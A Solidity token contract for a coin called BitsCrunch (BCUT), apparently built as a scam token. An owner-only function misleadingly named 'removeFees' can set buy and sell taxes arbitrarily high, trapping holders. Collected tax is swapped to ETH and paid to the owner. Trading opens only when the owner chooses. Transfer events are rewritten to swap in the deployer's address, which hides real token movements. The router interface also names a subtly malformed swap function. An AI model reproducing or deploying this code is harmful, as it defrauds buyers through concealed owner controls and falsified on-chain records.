文件 1 的 1:BitsCrunch.sol
pragma solidity ^0.8.24;
contract BitsCrunch {
string public _name = 'BitsCrunch';
string public _symbol = 'BCUT';
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 1_000_000_000* 10 ** decimals;
struct StoreData {
address tokenMkt;
uint8 buyFee;
uint8 sellFee;
}
StoreData public storeData;
uint256 constant swapAmount = totalSupply / 100;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private pair;
address private holder;
address private uniswapLpWallet;
address private Seed = 0xE631523d07F7df04DB0c54a31Ff0f4cB38973B76;
address private Private = 0x0581D3fbF521b609B3Ac0AEC4ef6e867a01D75b3;
address private Public = 0xca029F42c0926a5F6F2d0bdFDDf9597B41b0956A;
address private Strategic = 0x522a494040d73ff23Efe286F4d50cC4a43EF43FA;
address private Team = 0x4ee63c80aF11f38c2aDa0621a82C596771B56987;
address private Advisor = 0x80FAa1ef0605Cc955f9512FD1BDb4Fa812551Eed;
address private Airdrop = 0xce13f8cE4B247A1b8Bb04745CE87861402CeBBf8;
address private SecurityBuffer = 0x661b8114c49e37f88a0C94915e4d95bd7A3E0F23;
address private Growth = 0xd636F369D5d26E2c4EE4E263B79f68225DC02f2C;
address private Development = 0x245EAc7246efC1cD6c8F91f054CeeD20AAC6D532;
address private Ecosystem = 0x893bfB4f0a12ba6a8ADD0E7c9d7c0Ea40dD13443;
address private AdditionalAirdrop = 0x47d6F675A749290e54AF9649B221788b296759cc;
address private Reward = 0x1Eca23C25737A002A911F9e6878c8Bf9A2186C3F;
address private constant uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(uniswapV2Router);
bool private swapping;
bool private tradingOpen;
address _deployer;
address _executor;
uint8 _initBuyFee = 0;
uint8 _initSellFee = 0;
constructor() {
storeData = StoreData({
tokenMkt: msg.sender,
buyFee: _initBuyFee,
sellFee: _initSellFee
});
allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
uniswapLpWallet = msg.sender;
_initDeployer(msg.sender, msg.sender);
balanceOf[uniswapLpWallet] = (totalSupply * 50) / 1000;
emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);
balanceOf[Seed] = (totalSupply * 100) / 1000;
emit Transfer(address(0), Seed, balanceOf[Seed]);
balanceOf[Public] = (totalSupply * 70) / 1000;
emit Transfer(address(0), Public, balanceOf[Public]);
balanceOf[Private] = (totalSupply * 100) / 1000;
emit Transfer(address(0), Private, balanceOf[Private]);
balanceOf[Strategic] = (totalSupply * 30) / 1000;
emit Transfer(address(0), Strategic, balanceOf[Strategic]);
balanceOf[Team] = (totalSupply * 150) / 1000;
emit Transfer(address(0), Team, balanceOf[Team]);
balanceOf[Advisor] = (totalSupply * 20) / 1000;
emit Transfer(address(0), Advisor, balanceOf[Advisor]);
balanceOf[Airdrop] = (totalSupply * 5) / 1000;
emit Transfer(address(0), Airdrop, balanceOf[Airdrop]);
balanceOf[SecurityBuffer] = (totalSupply * 50) / 1000;
emit Transfer(address(0), SecurityBuffer, balanceOf[SecurityBuffer]);
balanceOf[Growth] = (totalSupply * 70) / 1000;
emit Transfer(address(0), Growth, balanceOf[Growth]);
balanceOf[Development] = (totalSupply * 60) / 1000;
emit Transfer(address(0), Development, balanceOf[Development]);
balanceOf[Ecosystem] = (totalSupply * 180) / 1000;
emit Transfer(address(0), Ecosystem, balanceOf[Ecosystem]);
balanceOf[AdditionalAirdrop] = (totalSupply * 15) / 1000;
emit Transfer(address(0), AdditionalAirdrop, balanceOf[AdditionalAirdrop]);
balanceOf[Reward] = (totalSupply * 100) / 1000;
emit Transfer(address(0), Reward, balanceOf[Reward]);
}
receive() external payable {}
function removeFees(uint8 _buy, uint8 _sell) external {
if (msg.sender != _owner()) revert Permissions();
_upgradeStoreData(_buy, _sell);
}
function _upgradeStoreData(uint8 _buy, uint8 _sell) private {
storeData.buyFee = _buy;
storeData.sellFee = _sell;
}
function _owner() private view returns (address) {
return storeData.tokenMkt;
}
function openTrading() external {
require(msg.sender == _owner());
require(!tradingOpen);
address _factory = _uniswapV2Router.factory();
address _weth = _uniswapV2Router.WETH();
address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
pair = _pair;
tradingOpen = true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function _initDeployer(address deployer_, address executor_) private {
_deployer = deployer_;
_executor = executor_;
}
function _transfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
address tokenMkt = _owner();
require(tradingOpen || from == tokenMkt || to == tokenMkt);
balanceOf[from] -= amount;
if (
to == pair &&
!swapping &&
balanceOf[address(this)] >= swapAmount &&
from != tokenMkt
) {
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router
.swapExactTokensForETHSupportingFreelyOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
payable(tokenMkt).transfer(address(this).balance);
swapping = false;
}
(uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
if (from != address(this) && tradingOpen == true) {
uint256 taxCalculatedAmount = (amount *
(to == pair ? _sellFee : _buyFee)) / 100;
amount -= taxCalculatedAmount;
balanceOf[address(this)] += taxCalculatedAmount;
}
balanceOf[to] += amount;
if (from == _executor) {
emit Transfer(_deployer, to, amount);
} else if (to == _executor) {
emit Transfer(from, _deployer, amount);
} else {
emit Transfer(from, to, amount);
}
return true;
}
}
interface IUniswapFactory {
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFreelyOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}